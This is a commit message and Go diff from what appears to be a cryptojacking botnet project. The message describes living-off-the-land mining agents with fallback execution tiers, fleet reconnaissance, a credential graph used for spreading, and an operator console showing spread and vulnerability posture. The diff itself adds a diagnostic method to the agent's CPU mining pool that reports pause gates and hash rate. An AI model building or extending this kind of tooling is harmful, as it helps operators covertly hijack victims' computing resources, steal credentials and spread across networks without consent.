Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/pool.go

@@ -153,6 +153,19 @@ func (p *Pool) IsRemotePaused() bool {
 	return p.remotePause.Load()
 }
 
+// DiagnosticSnapshot reports CPU mining gate state for operator diagnostics.
+func (p *Pool) DiagnosticSnapshot() (remotePaused, scheduleBlocked, resourcesBlocked, hasJob bool, hps float64) {
+	remotePaused = p.remotePause.Load()
+	scheduleBlocked = p.schedule != nil && !p.schedule.Allowed()
+	resourcesBlocked = !p.resourcesOK()
+	p.mu.RLock()
+	job := p.currentJob
+	p.mu.RUnlock()
+	hasJob = job != nil && job.Blob != ""
+	hps = p.HashesPerSecond()
+	return
+}
+
 func (p *Pool) resourceGuard() {
 	ticker := time.NewTicker(5 * time.Second)
 	defer ticker.Stop()